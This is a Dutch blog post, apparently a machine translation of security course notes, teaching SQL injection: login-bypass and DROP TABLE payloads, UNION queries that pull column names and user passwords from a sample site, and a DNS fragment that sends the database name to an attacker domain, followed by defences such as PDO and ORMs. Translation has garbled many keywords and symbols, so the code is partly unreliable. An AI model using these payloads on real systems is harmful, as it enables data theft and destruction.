LYK – Beveiliging van webapplicaties en ontwikkeling van veilige code (9e dag)

Klik op voor het vorige bericht .

SQL (Structured Query Language)

Sql is een taal . databases ( Mariadb , Mysql , sqlite etc.) die deze taal gebruiken, worden beheerd door sql-taal. Omdat ik Mysql gebruik, zal ik Mysql doorlopen.
Mysql-database draait vanaf de 3306 -poort. De structuur is als volgt:
Server (server), Database (database), Tabel (tabel), Kolom (kolom), Rij (rij), Veld (cel).
Mysql onderhoudt een database in zichzelf genaamd information_shema . Hier zijn alle databases, tabellen en gegevens in Mysql.

In SQL-taal worden opdrachten gebruikt om gegevens uit de database te extraheren, toe te voegen of te verwijderen. De meest voorkomende zijn: Selecteer , Weergeven , Bijwerken , Verwijderen , Invoegen , Maken , Drop .
Laten we een voorbeeld geven.
$ rijen = $ db- & gt; get_results (& quot; SELECT * FROM gebruikers & quot;);

Er zijn twee methoden om een ​​commentaarregel te gebruiken in

Sql d i . - en # geschreven met deze twee karakters zullen worden becommentarieerd.

Laten we nu eens kijken naar SQL-kwetsbaarheden.

Sql-injectie

Kwetsbaarheden ontstaan ​​wanneer de gegevens die van de gebruiker worden ontvangen geen invoervalidatie zijn. Als de gegevens van de gebruiker zonder controle in de zoekopdracht worden gebruikt, kan onze gebruiker een aanvaller zijn en code schrijven die de zoekopdracht verstoort. Op deze manier kan het de database bereiken.

Foutgebaseerde Sql-injectie

Laten we eens kijken naar een webapplicatie waar we ons hebben geregistreerd met gebruikersnaam en wachtwoord. Of de ontvangen informatie zonder controle in de database wordt vastgelegd.
$ db- & gt; query (& quot; INVOEGEN IN gebruikersWAARDEN (& # x27; $ gebruiker & # x27;, & # x27; $ pass & # x27;) & quot;);

De ontvangen data is (& # x27; & # x27 ;, & # x27; & # x27;) & quot;); wordt hier toegevoegd, dus dit is de structuur die we zullen doorbreken. De hier verkregen wachtwoord -informatie kan worden gecodeerd en aan de database worden toegevoegd. Laten we gewoon proberen in te loggen via de gebruikersnaaminvoer. & # x27; Of waar - Laten we zeggen dat we dit in typen. We hebben twee streepjes - gebruikt om de rest te becommentariëren. Om de zoekopdracht te manipuleren , geven we achteraf commentaar op alles wat achterblijft. De vraag heeft de volgende vorm, (& # x27; & # x27; of waar -, & # x27; & # x27;) & quot;); hier hebben we de vraag gewijzigd in ‘als de invoer leeg of waar is’ . Omdat het antwoord waar zou zijn, dat wil zeggen A of 1 = 1 , hebben we het ingevoerd. De webapplicatie gaf ons geen foutmelding omdat we de querystructuur niet hebben verbroken en we konden invoeren. Laten we proberen de tabel nu te verwijderen.

& # x27 ;, & # x27; & # x27;); Verwijder tabelgebruikers; # wanneer we dit typen, zal de vraag de volgende vorm aannemen; $ db- & gt; query (& quot; INSERT IN TO users VALUES (& # x27; & # x27 ;, & # x27; & # x27;); Drop table-gebruikers; # & # x27;, & # x27; $ pass & # x27;) & quot;);

Twee queries typen op dezelfde regel die vroeger in Mysql werkte, werkt niet meer. In plaats daarvan kunnen we zoekopdrachten manipuleren met het kenmerk unie . Union zal de volgende niet uitvoeren als de vorige query correct werkt. We zullen in staat zijn om de zoekopdracht vóór de vereniging verkeerd uit te voeren en vervolgens de gewenste zoekopdracht uit te voeren.

Laten we bijvoorbeeld proberen in te loggen op het account van de gebruiker wiens id-waarde 1 is. Het websiteadres dat we hebben aangevallen, is als volgt; site.com/uye.php

http://site.com/uye.php?id=-2 union select 1,2,3,4 We weten niet hoeveel kolommen er op de site staan, we zullen proberen het te vinden uit de kolommen die we hebben gegeven met select. We hebben de id-waarde -2 gegeven. Ik ga de unieselectiequery uitvoeren omdat hier een fout zal optreden. We gaan verder volgens de foutmeldingen die hij ons geeft. Laten we zeggen dat we de vier kolommen hier hebben bewaard. Laten we 2 teruggeven als antwoord. Dit betekent dat hij de gebruikersnaam die hij van ons heeft gekregen in de tweede kolom behoudt. Laten we de naam van de database uitzoeken, http://site.com/uye.php?id=-2 union select 1, database (), 3,4 gaf ons de naam van de database als uitvoer. Op deze manier krijgen we informatie over de database en tabellen.

Laten we nu gegevens uit de database halen met information_shema . http://site.com/uye.php?=id=-2 union select 35, group_concat (column_name), 21.55 van information_shema.columns waar table_schema = database () en table_name = & # x27; gebruikers & # x27;

We waren in staat om de tabel die we wilden openen uit de database te halen. Laten we nu de gebruikersnamen en wachtwoorden in deze tabel vermelden.
http://site.com/uye.php?=id=-2 union select 35, group_concat (gebruikersnaam, 0x3d, wachtwoord), 21.55 van gebruikers

Blinde Sql-injectie

Foutmeldingen waren duidelijk in het bovenstaande scenario. Terwijl we aanvielen, handelden we in de richting van foutmeldingen. Als de foutmeldingen zijn uitgeschakeld in de applicatie, zal de aanvaller een blinde aanval uitvoeren zonder een reactie te krijgen. Op deze manier manipuleren wordt blinde sql-injectie genoemd.

Op tijd gebaseerd

Als u geen foutmelding of uitvoer kunt krijgen, wordt op tijd gebaseerd gedaan om te controleren of de geschreven code werkt of niet. Als we if-else gebruiken, als dit de naam is, kunnen we onze bewerkingen controleren door codes te schrijven zoals wacht vijf seconden. De aanvaller probeert deze methode met behulp van tools in plaats van ze een voor een te noemen.

OOB (Out of Band)

Is het overbrengen van gegevens van de aangesloten database naar een server. De database die we kunnen invoeren, stuurt de informatie naar het adres dat is opgegeven door de dns-query. database (). & # x27;. attackerinsite.com & # x27; De database moet openstaan ​​voor externe verzoeken om gegevens op te halen met deze methode. Wanneer dit probleem is verholpen, kan op deze manier informatie worden opgehaald.

Booleaans gebaseerd

Gebruikt in zoekopdrachten met slechts twee mogelijkheden.

Hoe kunnen we ons beschermen tegen Sql-injectie-aanvallen?

Php zou niet interfereren met sql-codes. SQL voorzag in zijn eigen beschermingsmethode. Er is geprobeerd zoekopdrachten te beveiligen met codes die beginnen met Mysql_ . SQL-queries worden nu beheerd door Php met PHP 7. Met PDO worden de ontvangen gegevens nu gecontroleerd en vervolgens naar Sql gestuurd. MySqli werkt echter op dezelfde manier. Deze methoden zijn veiliger. Een andere methode is om welsprekend te gebruiken, zoekopdrachten kunnen worden gemaakt met de ORM -structuur dankzij framework . Het gebruik van het framework is momenteel de meest betrouwbare methode.

U kunt dit werk op uw eigen computer installeren en gebruiken om kwetsbaarheden te testen (https://github.com/Om3rCitak/lyk2016/tree/master/baunbit).

Klik op voor het volgende bericht .